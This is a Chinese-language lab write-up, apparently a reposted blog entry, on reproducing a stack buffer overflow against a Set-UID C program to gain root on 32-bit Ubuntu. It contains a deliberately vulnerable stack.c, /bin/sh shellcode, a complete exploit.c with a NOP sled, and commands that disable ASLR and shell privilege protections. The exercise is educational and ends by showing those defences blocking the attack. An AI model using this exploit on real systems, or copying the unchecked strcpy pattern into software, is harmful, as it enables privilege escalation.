一、實驗內容:
緩沖區溢位攻擊:通過往程式的緩沖區寫超出其長度的內容,造成緩沖區的溢位,從而破壞程式的堆疊,造成程式崩潰或使程式轉而執行其它指令,以達到攻擊的目的,本課程將帶領大家重現攻擊理解此漏洞,
1.實驗要求:
- 有 C 語言基礎
- 會進制轉換以及計算
- vim 基本使用
- 熟悉基本 linux 命令
2.實驗任務:
- 通過重現緩沖區溢位攻擊來理解此漏洞
二、實驗準備:
系統用戶名:shiyanlou
實驗樓提供的虛擬環境是 64 位 Ubuntu linux,而本次實驗為了方便觀察匯編陳述句,我們需要在 32 位環境下作操作,因此實驗之前需要做一些準備,
輸入命令安裝一些用于編譯 32 位 C 程式的軟體包:
sudo apt-get update sudo apt-get install -y lib32z1 libc6-dev-i386 lib32readline6-dev sudo apt-get install -y python3.6-gdbm gdb
三、實驗步驟:
1.初始設定:
- Ubuntu 和其他一些 Linux 系統中,使用地址空間隨機化來隨機堆(heap)和堆疊(stack)的初始地址,這使得猜測準確的記憶體地址變得十分困難,而猜測記憶體地址是緩沖區溢位攻擊的關鍵,因此本次實驗中,我們使用以下命令關閉這一功能:
sudo sysctl -w kernel.randomize_va_space=0

- 此外,為了進一步防范緩沖區溢位攻擊及其它利用 shell 程式的攻擊,許多shell程式在被呼叫時自動放棄它們的特權,因此,即使你能欺騙一個 Set-UID 程式呼叫一個 shell,也不能在這個 shell 中保持 root 權限,這個防護措施在
/bin/bash中實作, - linux 系統中,
/bin/sh實際是指向/bin/bash或/bin/dash的一個符號鏈接,為了重現這一防護措施被實作之前的情形,我們使用另一個 shell 程式(zsh)代替/bin/bash,下面的指令描述了如何設定 zsh 程式:
sudo su cd /bin rm sh ln -s zsh sh exit

- 輸入命令
linux32進入32位linux環境,此時你會發現,命令列用起來沒那么爽了,比如不能tab補全了,輸入/bin/bash使用bash:

2.shellcode:
- 一般情況下,緩沖區溢位會造成程式崩潰,在程式中,溢位的資料覆寫了回傳地址,而如果覆寫回傳地址的資料是另一個地址,那么程式就會跳轉到該地址,如果該地址存放的是一段精心設計的代碼用于實作其他功能,這段代碼就是 shellcode,
#include <stdio.h>
int main()
{
char *name[2];
name[0] = "/bin/sh";
name[1] = NULL;
execve(name[0], name, NULL);
}
- 本次實驗的 shellcode,就是剛才代碼的匯編版本:
\x31\xc0\x50\x68"//sh"\x68"/bin"\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80
3.漏洞程式:
- 在
/tmp目錄下新建一個stack.c檔案:
cd /tmp vim stack.c
- 按
i鍵切換到插入模式,再輸入如下內容:
/* stack.c */
/* This program has a buffer overflow vulnerability. */
/* Our task is to exploit this vulnerability */
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int bof(char *str)
{
char buffer[12];
/* The following statement has a buffer overflow problem */
strcpy(buffer, str);
return 1;
}
int main(int argc, char **argv)
{
char str[517];
FILE *badfile;
badfile = fopen("badfile", "r");
fread(str, sizeof(char), 517, badfile);
bof(str);
printf("Returned Properly\n");
return 1;
}
- 通過代碼可以知道,程式會讀取一個名為“badfile”的檔案,并將檔案內容裝入“buffer”,
- 編譯該程式,并設定 SET-UID,命令如下:
sudo su gcc -m32 -g -z execstack -fno-stack-protector -o stack stack.c chmod u+s stack exit

-
GCC編譯器有一種堆疊保護機制來阻止緩沖區溢位,所以我們在編譯代碼時需要用
–fno-stack-protector關閉這種機制, 而-z execstack用于允許執行堆疊, -g引數是為了使編譯后得到的可執行檔案能用gdb除錯,
4.攻擊程式:
- 我們的目的是攻擊剛才的漏洞程式,并通過攻擊獲得
root權限, - 在
/tmp目錄下新建一個exploit.c檔案,輸入如下內容:
/* exploit.c */
/* A program that creates a file containing code for launching shell*/
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
char shellcode[] =
"\x31\xc0" //xorl %eax,%eax
"\x50" //pushl %eax
"\x68""//sh" //pushl $0x68732f2f
"\x68""/bin" //pushl $0x6e69622f
"\x89\xe3" //movl %esp,%ebx
"\x50" //pushl %eax
"\x53" //pushl %ebx
"\x89\xe1" //movl %esp,%ecx
"\x99" //cdq
"\xb0\x0b" //movb $0x0b,%al
"\xcd\x80" //int $0x80
;
void main(int argc, char **argv)
{
char buffer[517];
FILE *badfile;
/* Initialize buffer with 0x90 (NOP instruction) */
memset(&buffer, 0x90, 517);
/* You need to fill the buffer with appropriate contents here */
strcpy(buffer,"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x??\x??\x??\x??"); //在buffer特定偏移處起始的四個位元組覆寫sellcode地址
strcpy(buffer + 100, shellcode); //將shellcode拷貝至buffer,偏移量設為了 100
/* Save the contents to the file "badfile" */
badfile = fopen("./badfile", "w");
fwrite(buffer, 517, 1, badfile);
fclose(badfile);
}
- 注意上面的代碼,
\x??\x??\x??\x??處需要添上shellcode保存在記憶體中的地址,因為發生溢位后這個位置剛好可以覆寫回傳地址,而strcpy(buffer+100,shellcode);這一句又告訴我們,shellcode保存在buffer + 100的位置,下面我們將詳細介紹如何獲得我們需要添加的地址, - 現在我們要得到 shellcode 在記憶體中的地址,輸入命令進入 gdb 除錯:
gdb stack disass main
- 結果如圖:

- esp 中就是 str 的起始地址,所以我們在地址
0x080484ee處設定斷點, - 接下來的操作(設定斷點):
b *0x080484ee r i r $esp

-
最后獲得的這個
0xffffcfb0就是 str 的地址, -
根據陳述句
strcpy(buffer + 100,shellcode);我們計算shellcode的地址為0xffffcfb0+0x64=0xffffd014(可用16進制加法器進行計算) -
現在修改
exploit.c檔案,將\x??\x??\x??\x??修改為計算的結果\x14\xd0\xff\xff,注意順序是反的,

- 然后,編譯
exploit.c程式:
gcc -m32 -o exploit exploit.c

5.攻擊結果:
- 先運行攻擊程式 exploit,再運行漏洞程式 stack,觀察結果:

(whoami 是輸入的命令,不是輸出結果,)
- 可見,通過攻擊,獲得了root 權限!
(如果不能攻擊成功,提示”段錯誤“,那么請重新使用 gdb 反匯編,計算記憶體地址,)
四、練習:
1.按照實驗步驟進行操作,攻擊漏洞程式并獲得 root 權限,

2.通過命令 sudo sysctl -w kernel.randomize_va_space=2 打開系統的地址空間隨機化機制,重復用 exploit 程式攻擊 stack 程式,觀察能否攻擊成功,能否獲得root權限,
sudo sysctl -w kernel.randomize_va_space=2


- 可以看見獲取root權限失敗!
3.將 /bin/sh 重新指向 /bin/bash(或/bin/dash),觀察能否攻擊成功,能否獲得 root 權限,
sudo su cd /bin rm /sh ln -s bash sh exit


- 獲取root權限失敗!
五、實驗感想:
本次實驗讓我們熟悉了緩沖區溢位的原理,進一步了解了緩沖區溢位的危害,同時在虛擬機內實作實驗操作,更加熟悉了linux的指令操作,我原本想用我自己的虛擬機來做這個實驗的,但是在安裝linux32的程序中出現了問題導致了我的虛擬機打不開,整個崩潰掉(我們好幾個人都有這種情況),不得不放棄實用自己的虛擬機并且重新安裝Ubuntu,但實驗樓提供的虛擬環境還是非常實用的,沒有什么問題,可以放心做實驗,就是在熟悉實驗操作上要加強,包括代碼的輸入還有對指令操作的理解等等,總的來說還是有很多識訓的,希望今后的實驗也能繼續學習到新知識,
轉載請註明出處,本文鏈接:https://www.uj5u.com/caozuo/168035.html
標籤:Linux
下一篇:mosh安裝與使用
